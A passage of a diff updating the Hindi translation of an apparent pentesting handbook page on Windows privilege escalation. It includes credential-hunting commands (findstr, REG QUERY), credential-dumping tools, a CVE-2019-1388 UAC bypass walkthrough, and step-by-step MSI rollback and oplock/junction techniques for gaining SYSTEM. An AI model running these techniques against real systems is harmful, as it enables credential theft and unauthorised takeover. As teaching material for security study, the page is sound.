रजिस्ट्री में सामान्य पासवर्ड खोजें** +### **Generic Password search in files and registry** -**फाइल सामग्री के लिए खोजें** +**Search for file contents** ```bash cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt findstr /si password *.xml *.ini *.txt *.config findstr /spin "password" *.* ``` -**एक निश्चित फ़ाइल नाम के साथ फ़ाइल खोजें** +**किसी विशेष फ़ाइलनाम वाली फ़ाइल खोजें** ```bash dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config* where /R C:\ user.txt where /R C:\ *.ini ``` -**रजिस्ट्री में कुंजी नाम और पासवर्ड के लिए खोजें** +**registry में key names और passwords खोजें** ```bash REG QUERY HKLM /F "password" /t REG_SZ /S /K REG QUERY HKCU /F "password" /t REG_SZ /S /K REG QUERY HKLM /F "password" /t REG_SZ /S /d REG QUERY HKCU /F "password" /t REG_SZ /S /d ``` -### पासवर्ड खोजने वाले उपकरण +### Tools that search for passwords -[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **एक msf** प्लगइन है जिसे मैंने **शिकार पर क्रेडेंशियल्स की खोज करने वाले हर metasploit POST मॉड्यूल को स्वचालित रूप से निष्पादित करने के लिए बनाया है**।\ -[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) स्वचालित रूप से इस पृष्ठ में उल्लिखित पासवर्ड वाले सभी फ़ाइलों की खोज करता है।\ -[**Lazagne**](https://github.com/AlessandroZ/LaZagne) एक और शानदार उपकरण है जो सिस्टम से पासवर्ड निकालता है। +[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **is a msf** plugin मैंने बनाया है जो victim के अंदर **automatically execute every metasploit POST module that searches for credentials** करता है।\ +[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) स्वचालित रूप से इस पेज में बताए गए उन सभी files को खोजता है जिनमें passwords होते हैं।\ +[**Lazagne**](https://github.com/AlessandroZ/LaZagne) system से password extract करने के लिए एक और बढ़िया tool है। -उपकरण [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **सत्रों**, **उपयोगकर्ता नामों** और **पासवर्डों** की खोज करता है जो कई उपकरणों द्वारा स्पष्ट पाठ में सहेजे जाते हैं (PuTTY, WinSCP, FileZilla, SuperPuTTY, और RDP) +यह tool [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) उन कई tools के **sessions**, **usernames** और **passwords** खोजता है जो यह data clear text में save करते हैं (PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP) ```bash Import-Module path\to\SessionGopher.ps1; Invoke-SessionGopher -Thorough Invoke-SessionGopher -AllDomain -o Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss ``` -## लीक हुए हैंडल +## Leaked Handlers -कल्पना करें कि **एक प्रक्रिया जो SYSTEM के रूप में चल रही है एक नई प्रक्रिया खोलती है** (`OpenProcess()`) **पूर्ण पहुंच के साथ**। वही प्रक्रिया **एक नई प्रक्रिया भी बनाती है** (`CreateProcess()`) **कम विशेषाधिकार के साथ लेकिन मुख्य प्रक्रिया के सभी खुले हैंडल को विरासत में लेती है**।\ -फिर, यदि आपके पास **कम विशेषाधिकार वाली प्रक्रिया तक पूर्ण पहुंच है**, तो आप **विशेषाधिकार प्राप्त प्रक्रिया के लिए खोले गए हैंडल को पकड़ सकते हैं** जो `OpenProcess()` के साथ बनाई गई थी और **एक शेलकोड इंजेक्ट कर सकते हैं**।\ -[इस उदाहरण को पढ़ें अधिक जानकारी के लिए **इस कमजोरियों का पता लगाने और शोषण करने के तरीके के बारे में**।](leaked-handle-exploitation.md)\ -[इस **अन्य पोस्ट को पढ़ें अधिक पूर्ण व्याख्या के लिए कि कैसे परीक्षण करें और विभिन्न स्तरों के अनुमतियों (केवल पूर्ण पहुंच नहीं) के साथ विरासत में मिले प्रक्रियाओं और थ्रेड्स के अधिक खुले हैंडल का दुरुपयोग करें**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/)। +कल्पना कीजिए कि **SYSTEM के रूप में चल रहा एक प्रोसेस एक नया प्रोसेस खोलता है** (`OpenProcess()`) जो **full access** के साथ है। वही प्रोसेस **एक और नया प्रोसेस भी बनाता है** (`CreateProcess()`) **जो low privileges के साथ है पर मुख्य प्रोसेस के सभी खुले हैंडल्स को इनहेरिट करता है**।\ +यदि आपके पास उस low privileged प्रोसेस का **full access** है, तो आप `OpenProcess()` के साथ बनाए गए अधिकारप्राप्त प्रोसेस के खुले हैंडल को पकड़कर उसमें **shellcode** इंजेक्ट कर सकते हैं।\ +[Read this example for more information about **how to detect and exploit this vulnerability**.](leaked-handle-exploitation.md)\ +[Read this **other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/). -## नामित पाइप क्लाइंट अनुकरण +## Named Pipe Client Impersonation -साझा मेमोरी खंड, जिसे **पाइप** कहा जाता है, प्रक्रिया संचार और डेटा स्थानांतरण की अनुमति देते हैं। +साझा मेमोरी सेगमेंट्स, जिन्हें सामान्यतः **pipes** कहा जाता है, प्रोसेस कम्युनिकेशन और डेटा ट्रांसफर को सक्षम करते हैं। -Windows एक सुविधा प्रदान करता है जिसे **Named Pipes** कहा जाता है, जो असंबंधित प्रक्रियाओं को डेटा साझा करने की अनुमति देता है, यहां तक कि विभिन्न नेटवर्कों पर भी। यह एक क्लाइंट/सर्वर आर्किटेक्चर के समान है, जिसमें भूमिकाएँ **नामित पाइप सर्वर** और **नामित पाइप क्लाइंट** के रूप में परिभाषित की गई हैं। +Windows एक सुविधा प्रदान करता है जिसे **Named Pipes** कहा जाता है, जो असंबंधित प्रोसेसों को भी डेटा साझा करने की अनुमति देती है, यहाँ तक कि अलग नेटवर्क्स पर भी। यह client/server आर्किटेक्चर जैसा होता है, जिसमें भूमिकाएँ परिभाषित होती हैं जैसे **named pipe server** और **named pipe client**। -जब डेटा एक पाइप के माध्यम से **क्लाइंट** द्वारा भेजा जाता है, तो **सर्वर** जिसने पाइप सेट किया है, **क्लाइंट की पहचान** अपनाने की क्षमता रखता है, बशर्ते कि उसके पास आवश्यक **SeImpersonate** अधिकार हों। एक **विशेषाधिकार प्राप्त प्रक्रिया** की पहचान करना जो एक पाइप के माध्यम से संवाद करती है जिसे आप अनुकरण कर सकते हैं, आपको **उच्च विशेषाधिकार प्राप्त करने** का अवसर प्रदान करता है जब वह प्रक्रिया उस पाइप के साथ बातचीत करती है जिसे आपने स्थापित किया है। इस तरह के हमले को निष्पादित करने के लिए निर्देशों के लिए, सहायक मार्गदर्शिकाएँ [**यहां**](named-pipe-client-impersonation.md) और [**यहां**](#from-high-integrity-to-system) मिल सकती हैं। +जब किसी **client** द्वारा pipe के माध्यम से डेटा भेजा जाता है, तो उस pipe को सेट करने वाला **server** उस **client** की पहचान को अपनाने (take on the identity) में सक्षम होता है, बशर्ते उसके पास आवश्यक **SeImpersonate** अधिकार हों। यदि आप किसी ऐसे **privileged process** की पहचान कर लें जिसे आप mimic कर सकते हैं और जो उस pipe के माध्यम से संचार करता है, तो उस प्रोसेस के साथ इंटरैक्ट करने पर उसकी पहचान अपनाकर आप उच्च अधिकार प्राप्त कर सकते हैं। ऐसी किसी हमला को करने के निर्देशों के लिए उपयोगी गाइड [**यहाँ**](named-pipe-client-impersonation.md) और [**यहाँ**](#from-high-integrity-to-system) मिल सकते हैं। -इसके अलावा, निम्नलिखित उपकरण **burp जैसे उपकरण के साथ नामित पाइप संचार को इंटरसेप्ट करने की अनुमति देता है:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **और यह उपकरण सभी पाइपों को सूचीबद्ध करने और देखने की अनुमति देता है ताकि privescs को खोजा जा सके** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) +इसके अलावा निम्नलिखित टूल आपको named pipe के संचार को burp जैसे टूल के साथ **intercept** करने की अनुमति देता है: [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) और यह टूल सभी pipes को सूचीबद्ध और देखने की सुविधा देता है ताकि privescs मिल सकें: [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) ## विविध -### फ़ाइल एक्सटेंशन जो Windows में चीजें निष्पादित कर सकते हैं +### File Extensions that could execute stuff in Windows -पृष्ठ देखें **[https://filesec.io/](https://filesec.io/)** +इस पेज को देखें **[https://filesec.io/](https://filesec.io/)** -### **पासवर्ड के लिए कमांड लाइनों की निगरानी** +### **कमांड लाइनों में पासवर्ड्स की निगरानी** -जब एक उपयोगकर्ता के रूप में शेल प्राप्त करते हैं, तो कुछ शेड्यूल किए गए कार्य या अन्य प्रक्रियाएँ चल रही हो सकती हैं जो **कमांड लाइन पर क्रेडेंशियल्स पास करती हैं**। नीचे दिया गया स्क्रिप्ट हर दो सेकंड में प्रक्रिया की कमांड लाइनों को कैप्चर करता है और वर्तमान स्थिति की तुलना पिछले स्थिति से करता है, किसी भी अंतर को आउटपुट करता है। +जब किसी user के रूप में shell मिलता है, तो हो सकता है कि शेड्यूल किए गए टास्क या अन्य प्रोसेस चल रहे हों जो **command line पर credentials पास करते हों**। नीचे दिया गया script हर दो सेकंड में process command lines को कैप्चर करता है और वर्तमान स्थिति की तुलना पिछली स्थिति से करता है, और किसी भी अंतर को आउटपुट करता है। ```bash while($true) { @@ -1273,15 +1289,15 @@ $process2 = Get-WmiObject Win32_Process | Select-Object CommandLine Compare-Object -ReferenceObject $process -DifferenceObject $process2 } ``` -## पासवर्ड चुराना प्रक्रियाओं से +## प्रोसेसों से पासवर्ड चोरी करना -## लो प्रिविलेज यूजर से NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC बायपास +## Low Priv User से NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass -यदि आपके पास ग्राफिकल इंटरफेस (कंसोल या RDP के माध्यम से) तक पहुंच है और UAC सक्षम है, तो Microsoft Windows के कुछ संस्करणों में एक अनधिकृत उपयोगकर्ता से "NT\AUTHORITY SYSTEM" जैसे किसी भी अन्य प्रक्रिया को चलाना संभव है। +यदि आपके पास ग्राफिकल इंटरफ़ेस (via console or RDP) तक पहुँच है और UAC सक्षम है, तो कुछ Microsoft Windows संस्करणों में unprivileged user से टर्मिनल या किसी अन्य प्रोसेस जैसे "NT\AUTHORITY SYSTEM" को चलाना संभव है। -यह प्रिविलेज को बढ़ाने और एक ही समय में उसी भेद्यता के साथ UAC को बायपास करने की अनुमति देता है। इसके अलावा, कुछ भी स्थापित करने की आवश्यकता नहीं है और प्रक्रिया के दौरान उपयोग किया जाने वाला बाइनरी Microsoft द्वारा हस्ताक्षरित और जारी किया गया है। +इससे एक ही vulnerability का उपयोग करके privileges बढ़ाना और UAC को bypass करना दोनों संभव हो जाता है। इसके अलावा, किसी चीज़ को install करने की जरूरत नहीं होती और प्रक्रिया में उपयोग किया गया binary Microsoft द्वारा signed और issued है। -कुछ प्रभावित सिस्टम निम्नलिखित हैं: +प्रभावित कुछ सिस्टम निम्नलिखित हैं: ``` SERVER ====== @@ -1303,7 +1319,7 @@ Windows 10 1607 14393 ** link OPENED AS SYSTEM ** Windows 10 1703 15063 link NOT opened Windows 10 1709 16299 link NOT opened ``` -इस कमजोरियों का लाभ उठाने के लिए, निम्नलिखित चरणों को करना आवश्यक है: +इस vulnerability को exploit करने के लिए, निम्नलिखित कदम आवश्यक हैं: ``` 1) Right click on the HHUPD.EXE file and run it as Administrator. @@ -1321,154 +1337,154 @@ Windows 10 1709 16299 link NOT opened 8) Remember to cancel setup and the UAC prompt to return to your desktop. ``` -आपके पास निम्नलिखित GitHub रिपॉजिटरी में सभी आवश्यक फ़ाइलें और जानकारी हैं: +You have all the necessary files and information in the following GitHub repository: https://github.com/jas502n/CVE-2019-1388 -## व्यवस्थापक मध्यम से उच्च अखंडता स्तर / UAC बायपास +## From Administrator Medium to High Integrity Level / UAC Bypass -**अखंडता स्तरों** के बारे में जानने के लिए इसे पढ़ें: +Read this to **learn about Integrity Levels**: {{#ref}} integrity-levels.md {{#endref}} -फिर **UAC और UAC बायपास के बारे में जानने के लिए इसे पढ़ें:** +Then **read this to learn about UAC and UAC bypasses:** {{#ref}} ../authentication-credentials-uac-and-efs/uac-user-account-control.md {{#endref}} -## मनमाने फ़ोल्डर को हटाने/स्थानांतरित करने/नाम बदलने से SYSTEM EoP तक +## From Arbitrary Folder Delete/Move/Rename to SYSTEM EoP -इस तकनीक का वर्णन [**इस ब्लॉग पोस्ट में**](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks) किया गया है जिसमें एक शोषण कोड [**यहां उपलब्ध है**](https://github.com/thezdi/PoC/tree/main/FilesystemEoPs). +The technique described [**in this blog post**](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks) with a exploit code [**available here**](https://github.com/thezdi/PoC/tree/main/FilesystemEoPs). -हमला मूल रूप से Windows Installer की रोलबैक सुविधा का दुरुपयोग करने पर आधारित है ताकि अनइंस्टॉलेशन प्रक्रिया के दौरान वैध फ़ाइलों को दुर्भावनापूर्ण फ़ाइलों से प्रतिस्थापित किया जा सके। इसके लिए हमलावर को एक **दुर्भावनापूर्ण MSI इंस्टॉलर** बनाने की आवश्यकता होती है जिसका उपयोग `C:\Config.Msi` फ़ोल्डर को हाईजैक करने के लिए किया जाएगा, जिसे बाद में Windows Installer अन्य MSI पैकेजों के अनइंस्टॉलेशन के दौरान रोलबैक फ़ाइलों को संग्रहीत करने के लिए उपयोग करेगा जहां रोलबैक फ़ाइलों को दुर्भावनापूर्ण पेलोड के साथ संशोधित किया गया होगा। +यह हमला मूलतः Windows Installer के rollback फीचर का दुरुपयोग करके uninstall प्रक्रिया के दौरान वैध फाइलों को malicious फाइलों से बदलने पर आधारित है। इसके लिए attacker को एक **malicious MSI installer** बनाना होगा जो `C:\Config.Msi` फ़ोल्डर को hijack करने के लिए उपयोग किया जाएगा, जिसे बाद में Windows Installer द्वारा अन्य MSI पैकेजों के uninstall के दौरान rollback फाइलें स्टोर करने के लिए प्रयोग किया जाएगा, जहाँ rollback फाइलों को malicious payload से मॉडिफाई किया जाएगा। -संक्षिप्त तकनीक निम्नलिखित है: +संक्षेप में तकनीक निम्नानुसार है: -1. **चरण 1 – हाईजैक के लिए तैयारी (छोड़ें `C:\Config.Msi` खाली)** +1. **Stage 1 – Preparing for the Hijack (leave `C:\Config.Msi` empty)** -- चरण 1: MSI इंस्टॉल करें -- एक `.msi` बनाएं जो एक हानिरहित फ़ाइल (जैसे, `dummy.txt`) को एक लिखने योग्य फ़ोल्डर (`TARGETDIR`) में इंस्टॉल करता है। -- इंस्टॉलर को **"UAC अनुपालन"** के रूप में चिह्नित करें, ताकि एक **गैर-व्यवस्थापक उपयोगकर्ता** इसे चला सके। -- इंस्टॉलेशन के बाद फ़ाइल के लिए एक **हैंडल** खुला रखें। +- Step 1: Install the MSI +- Create an `.msi` that installs a harmless file (e.g., `dummy.txt`) in a writable folder (`TARGETDIR`). +- Mark the installer as **"UAC Compliant"**, so a **non-admin user** can run it. +- Keep a **handle** open to the file after install. -- चरण 2: अनइंस्टॉल शुरू करें -- उसी `.msi` को अनइंस्टॉल करें। -- अनइंस्टॉलेशन प्रक्रिया फ़ाइलों को `C:\Config.Msi` में स्थानांतरित करना शुरू करती है और उन्हें `.rbf` फ़ाइलों (रोलबैक बैकअप) के रूप में नामित करती है। -- **खुले फ़ाइल हैंडल की निगरानी करें** `GetFinalPathNameByHandle` का उपयोग करके यह पता लगाने के लिए कि फ़ाइल कब `C:\Config.Msi\.rbf` बन जाती है। +- Step 2: Begin Uninstall +- Uninstall the same `.msi`. +- The uninstall process starts moving files to `C:\Config.Msi` and renaming them to `.rbf` files (rollback backups). +- **Poll the open file handle** using `GetFinalPathNameByHandle` to detect when the file becomes `C:\Config.Msi\.rbf`. -- चरण 3: कस्टम सिंकिंग -- `.msi` में एक **कस्टम अनइंस्टॉल क्रिया (`SyncOnRbfWritten`)** शामिल है जो: -- संकेत देती है जब `.rbf` लिखा गया है। -- फिर **अनइंस्टॉल जारी रखने से पहले** एक अन्य घटना पर **इंतज़ार करती है**। +- Step 3: Custom Syncing +- The `.msi` includes a **custom uninstall action (`SyncOnRbfWritten`)** that: +- Signals when `.rbf` has been written. +- Then **waits** on another event before continuing the uninstall. -- चरण 4: `.rbf` के हटाने को अवरुद्ध करें -- जब संकेत दिया जाए, तो **`.rbf` फ़ाइल खोलें** बिना `FILE_SHARE_DELETE` के — यह **इसे हटाने से रोकता है**। -- फिर **संकेत वापस दें** ताकि अनइंस्टॉल पूरा हो सके। -- Windows Installer `.rbf` को हटाने में विफल रहता है, और चूंकि यह सभी सामग्री को हटा नहीं सकता, **`C:\Config.Msi` को नहीं हटाया जाता**। +- Step 4: Block Deletion of `.rbf` +- When signaled, **open the `.rbf` file** without `FILE_SHARE_DELETE` — this **prevents it from being deleted**. +- Then **signal back** so the uninstall can finish. +- Windows Installer fails to delete the `.rbf`, and because it can’t delete all contents, **`C:\Config.Msi` is not removed**. -- चरण 5: मैन्युअल रूप से `.rbf` हटाएं -- आप (हमलावर) मैन्युअल रूप से `.rbf` फ़ाइल को हटाते हैं। -- अब **`C:\Config.Msi` खाली है**, हाईजैक करने के लिए तैयार है। +- Step 5: Manually Delete `.rbf` +- You (attacker) delete the `.rbf` file manually. +- Now **`C:\Config.Msi` is empty**, ready to be hijacked. -> इस बिंदु पर, **SYSTEM-स्तरीय मनमाने फ़ोल्डर हटाने की भेद्यता को सक्रिय करें** ताकि `C:\Config.Msi` को हटाया जा सके। +> At this point, **trigger the SYSTEM-level arbitrary folder delete vulnerability** to delete `C:\Config.Msi`. -2. **चरण 2 – रोलबैक स्क्रिप्ट को दुर्भावनापूर्ण के साथ प्रतिस्थापित करना** +2. **Stage 2 – Replacing Rollback Scripts with Malicious Ones** -- चरण 6: कमजोर ACL के साथ `C:\Config.Msi` फिर से बनाएं -- स्वयं `C:\Config.Msi` फ़ोल्डर को फिर से बनाएं। -- **कमजोर DACLs** सेट करें (जैसे, Everyone:F), और **एक हैंडल खुला रखें** `WRITE_DAC` के साथ। +- Step 6: Recreate `C:\Config.Msi` with Weak ACLs +- Recreate the `C:\Config.Msi` folder yourself. +- Set **weak DACLs** (e.g., Everyone:F), and **keep a handle open** with `WRITE_DAC`. -- चरण 7: एक और इंस्टॉल चलाएं -- फिर से `.msi` इंस्टॉल करें, के साथ: -- `TARGETDIR`: लिखने योग्य स्थान। -- `ERROROUT`: एक चर जो एक मजबूर विफलता को सक्रिय करता है। -- यह इंस्टॉल **रोलबैक** को फिर से सक्रिय करने के लिए उपयोग किया जाएगा, जो `.rbs` और `.rbf` को पढ़ता है। +- Step 7: Run Another Install +- Install the `.msi` again, with: +- `TARGETDIR`: Writable location. +- `ERROROUT`: A variable that triggers a forced failure. +- This install will be used to trigger **rollback** again, which reads `.rbs` and `.rbf`. -- चरण 8: `.rbs` के लिए निगरानी करें -- `ReadDirectoryChangesW` का उपयोग करें `C:\Config.Msi` की निगरानी करने के लिए जब तक एक नया `.rbs` प्रकट नहीं होता। -- इसके फ़ाइल नाम को कैप्चर करें। +- Step 8: Monitor for `.rbs` +- Use `ReadDirectoryChangesW` to monitor `C:\Config.Msi` until a new `.rbs` appears. +- Capture its filename. -- चरण 9: रोलबैक से पहले सिंक करें -- `.msi` में एक **कस्टम इंस्टॉल क्रिया (`SyncBeforeRollback`)** शामिल है जो: -- संकेत देती है जब `.rbs` बनाई जाती है। -- फिर **जारी रखने से पहले** **इंतज़ार करती है**। +- Step 9: Sync Before Rollback +- The `.msi` contains a **custom install action (`SyncBeforeRollback`)** that: +- Signals an event when the `.rbs` is created. +- Then **waits** before continuing. -- चरण 10: कमजोर ACL फिर से लागू करें -- `.rbs बनाई गई` घटना प्राप्त करने के बाद: -- Windows Installer `C:\Config.Msi` पर **मजबूत ACLs फिर से लागू करता है**। -- लेकिन चूंकि आपके पास अभी भी `WRITE_DAC` के साथ एक हैंडल है, आप **फिर से कमजोर ACLs लागू कर सकते हैं**। +- Step 10: Reapply Weak ACL +- After receiving the `.rbs created` event: +- The Windows Installer **reapplies strong ACLs** to `C:\Config.Msi`. +- But since you still have a handle with `WRITE_DAC`, you can **reapply weak ACLs** again. -> ACLs **केवल हैंडल खोलने पर लागू होते हैं**, इसलिए आप अभी भी फ़ोल्डर में लिख सकते हैं। +> ACLs are **only enforced on handle open**, so you can still write to the folder. -- चरण 11: नकली `.rbs` और `.rbf` छोड़ें -- `.rbs` फ़ाइल को एक **नकली रोलबैक स्क्रिप्ट** के साथ ओवरराइट करें जो Windows को बताती है: -- आपकी `.rbf` फ़ाइल (दुर्भावनापूर्ण DLL) को एक **विशिष्ट स्थान** (जैसे, `C:\Program Files\Common Files\microsoft shared\ink\HID.DLL`) में पुनर्स्थापित करें। -- आपकी नकली `.rbf` छोड़ें जिसमें एक **दुर्भावनापूर्ण SYSTEM-स्तरीय पेलोड DLL** हो। +- Step 11: Drop Fake `.rbs` and `.rbf` +- Overwrite the `.rbs` file with a **fake rollback script** that tells Windows to: +- Restore your `.rbf` file (malicious DLL) into a **privileged location** (e.g., `C:\Program Files\Common Files\microsoft shared\ink\HID.DLL`). +- Drop your fake `.rbf` containing a **malicious SYSTEM-level payload DLL**. -- चरण 12: रोलबैक को सक्रिय करें -- सिंक इवेंट को संकेत दें ताकि इंस्टॉलर फिर से शुरू हो सके। -- एक **प्रकार 19 कस्टम क्रिया (`ErrorOut`)** को **जानबूझकर इंस्टॉल को विफल करने** के लिए कॉन्फ़िगर किया गया है। -- इससे **रोलबैक शुरू होता है**। +- Step 12: Trigger the Rollback +- Signal the sync event so the installer resumes. +- A **type 19 custom action (`ErrorOut`)** is configured to **intentionally fail the install** at a known point. +- This causes **rollback to begin**. -- चरण 13: SYSTEM आपके DLL को इंस्टॉल करता है +- Step 13: SYSTEM Installs Your DLL - Windows Installer: -- आपकी दुर्भावनापूर्ण `.rbs` को पढ़ता है। -- आपकी `.rbf` DLL को लक्षित स्थान में कॉपी करता है। -- अब आपके पास एक **दुर्भावनापूर्ण DLL एक SYSTEM-लोडेड पथ में** है। +- Reads your malicious `.rbs`. +- Copies your `.rbf` DLL into the target location. +- You now have your **malicious DLL in a SYSTEM-loaded path**. -- अंतिम चरण: SYSTEM कोड निष्पादित करें -- एक विश्वसनीय **ऑटो-उन्नत बाइनरी** (जैसे, `osk.exe`) चलाएं जो उस DLL को लोड करता है जिसे आपने हाईजैक किया था। -- **बूम**: आपका कोड **SYSTEM के रूप में निष्पादित होता है**। +- Final Step: Execute SYSTEM Code +- Run a trusted **auto-elevated binary** (e.g., `osk.exe`) that loads the DLL you hijacked. +- **Boom**: Your code is executed **as SYSTEM**. -### मनमाने फ़ाइल को हटाने/स्थानांतरित करने/नाम बदलने से SYSTEM EoP तक +### From Arbitrary File Delete/Move/Rename to SYSTEM EoP -मुख्य MSI रोलबैक तकनीक (पिछली) मानती है कि आप एक **पूर्ण फ़ोल्डर** (जैसे, `C:\Config.Msi`) को हटा सकते हैं। लेकिन अगर आपकी भेद्यता केवल **मनमाने फ़ाइल हटाने** की अनुमति देती है तो क्या होगा? +The main MSI rollback technique (the previous one) assumes you can delete an **entire folder** (e.g., `C:\Config.Msi`). But what if your vulnerability only allows **arbitrary file deletion** ? -आप **NTFS आंतरिक** का शोषण कर सकते हैं: हर फ़ोल्डर में एक छिपा हुआ वैकल्पिक डेटा स्ट्रीम होता है जिसे कहा जाता है: +You could exploit **NTFS internals**: every folder has a hidden alternate data stream called: ``` C:\SomeFolder::$INDEX_ALLOCATION ``` -यह स्ट्रीम फ़ोल्डर के **सूचकांक मेटाडेटा** को संग्रहीत करता है। +यह stream फ़ोल्डर के **index metadata** को संग्रहीत करता है। -तो, यदि आप फ़ोल्डर का **`::$INDEX_ALLOCATION` स्ट्रीम** हटा देते हैं, तो NTFS **फाइल सिस्टम से पूरा फ़ोल्डर हटा देता है**। +तो, अगर आप किसी फ़ोल्डर का **`::$INDEX_ALLOCATION` stream हटाते हैं**, तो NTFS फ़ाइल सिस्टम से **पूरे फ़ोल्डर को हटा देता है**। -आप इसे मानक फ़ाइल हटाने के APIs का उपयोग करके कर सकते हैं जैसे: +आप यह मानक फ़ाइल हटाने वाली APIs का उपयोग करके कर सकते हैं, जैसे: ```c DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION"); ``` -> भले ही आप एक *फाइल* डिलीट API को कॉल कर रहे हों, यह **फोल्डर को स्वयं डिलीट कर देता है**। +> हालाँकि आप *file* delete API को कॉल कर रहे हैं, यह **folder खुद को delete कर देता है**। -### फोल्डर सामग्री डिलीट से SYSTEM EoP तक -क्या होगा यदि आपकी प्राइमिटिव आपको मनमाने फाइल/फोल्डर को डिलीट करने की अनुमति नहीं देती, लेकिन यह **एक हमलावर-नियंत्रित फोल्डर की *सामग्री* को डिलीट करने की अनुमति देती है**? +### From Folder Contents Delete से SYSTEM EoP तक +क्या होगा अगर आपका primitive arbitrary files/folders को delete करने की अनुमति नहीं देता, लेकिन यह **does allow deletion of the *contents* of an attacker-controlled folder**? -1. चरण 1: एक बाइट फोल्डर और फाइल सेटअप करें -- बनाएं: `C:\temp\folder1` -- इसके अंदर: `C:\temp\folder1\file1.txt` +1. Step 1: एक bait folder और file सेटअप करें +- Create: `C:\temp\folder1` +- Inside it: `C:\temp\folder1\file1.txt` -2. चरण 2: `file1.txt` पर एक **oplock** रखें -- oplock **कार्यवाही को रोकता है** जब एक विशेषाधिकार प्राप्त प्रक्रिया `file1.txt` को डिलीट करने की कोशिश करती है। +2. Step 2: `file1.txt` पर एक **oplock** लगाएँ +- The oplock जब कोई privileged process `file1.txt` को delete करने की कोशिश करता है तो यह **execution को pause कर देता है**। ```c // pseudo-code RequestOplock("C:\\temp\\folder1\\file1.txt"); WaitForDeleteToTriggerOplock(); ``` -3. चरण 3: SYSTEM प्रक्रिया को ट्रिगर करें (जैसे, `SilentCleanup`) -- यह प्रक्रिया फ़ोल्डरों को स्कैन करती है (जैसे, `%TEMP%`) और उनके सामग्री को हटाने की कोशिश करती है। -- जब यह `file1.txt` पर पहुँचती है, तो **oplock ट्रिगर** होता है और नियंत्रण आपके callback को सौंप दिया जाता है। +3. चरण 3: SYSTEM process ट्रिगर करें (उदा., `SilentCleanup`) +- यह प्रक्रिया फ़ोल्डरों (उदा., `%TEMP%`) को स्कैन करती है और उनकी सामग्री को हटाने की कोशिश करती है। +- जब यह `file1.txt` पर पहुँचती है, तो **oplock triggers** और नियंत्रण आपके callback को सौंप दिया जाता है। -4. चरण 4: oplock callback के अंदर – हटाने को पुनर्निर्देशित करें +4. चरण 4: oplock callback के अंदर – हटाने को रिडायरेक्ट करें -- विकल्प A: `file1.txt` को कहीं और ले जाएँ -- यह `folder1` को oplock को तोड़े बिना खाली कर देता है। -- `file1.txt` को सीधे न हटाएँ — इससे oplock समय से पहले रिलीज़ हो जाएगा। +- विकल्प A: `file1.txt` को किसी और स्थान पर ले जाएँ +- यह `folder1` को खाली कर देता है बिना oplock को तोड़े। +- `file1.txt` को सीधे हटाएँ नहीं — इससे oplock समय से पहले रिहा हो जाएगा। -- विकल्प B: `folder1` को **junction** में परिवर्तित करें: +- विकल्प B: `folder1` को एक **junction** में कनवर्ट करें: ```bash # folder1 is now a junction to \RPC Control (non-filesystem namespace) mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control @@ -1478,124 +1494,124 @@ mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control # Make file1.txt point to a sensitive folder stream CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION") ``` -> यह NTFS आंतरिक स्ट्रीम को लक्षित करता है जो फ़ोल्डर मेटाडेटा को संग्रहीत करता है — इसे हटाने से फ़ोल्डर हट जाता है। +> यह NTFS के आंतरिक stream को लक्षित करता है जो फ़ोल्डर metadata संग्रहीत करता है — इसे हटाने से फ़ोल्डर भी हट जाता है। -5. चरण 5: oplock को जारी करें -- SYSTEM प्रक्रिया जारी रहती है और `file1.txt` को हटाने की कोशिश करती है। -- लेकिन अब, जंक्शन + सिम्लिंक के कारण, यह वास्तव में हटा रही है: +5. Step 5: Release the oplock +- SYSTEM प्रक्रिया जारी रहती है और `file1.txt` को डिलीट करने की कोशिश करती है। +- लेकिन अब, junction + symlink की वजह से, यह वास्तव में डिलीट कर रहा है: ``` C:\Config.Msi::$INDEX_ALLOCATION ``` -**परिणाम**: `C:\Config.Msi` SYSTEM द्वारा हटा दिया गया है। +**परिणाम**: `C:\Config.Msi` SYSTEM द्वारा हटाया जाता है। -### मनमाने फ़ोल्डर से स्थायी DoS बनाने के लिए +### Arbitrary Folder Create से स्थायी DoS तक -एक प्राइमिटिव का शोषण करें जो आपको **SYSTEM/admin के रूप में एक मनमाना फ़ोल्डर बनाने** की अनुमति देता है — भले ही **आप फ़ाइलें नहीं लिख सकते** या **कमजोर अनुमतियाँ सेट कर सकते**। +एक primitive का फायदा उठाएँ जो आपको **create an arbitrary folder as SYSTEM/admin** करने की अनुमति देता है — भले ही **you can’t write files** या **set weak permissions** करने में असमर्थ हों। -एक **फ़ोल्डर** (फ़ाइल नहीं) बनाएं जिसका नाम **महत्वपूर्ण Windows ड्राइवर** हो, जैसे: +किसी **critical Windows driver** के नाम से एक **folder** (file नहीं) बनाएं, उदाहरण के लिए: ``` C:\Windows\System32\cng.sys ``` -- यह पथ सामान्यतः `cng.sys` 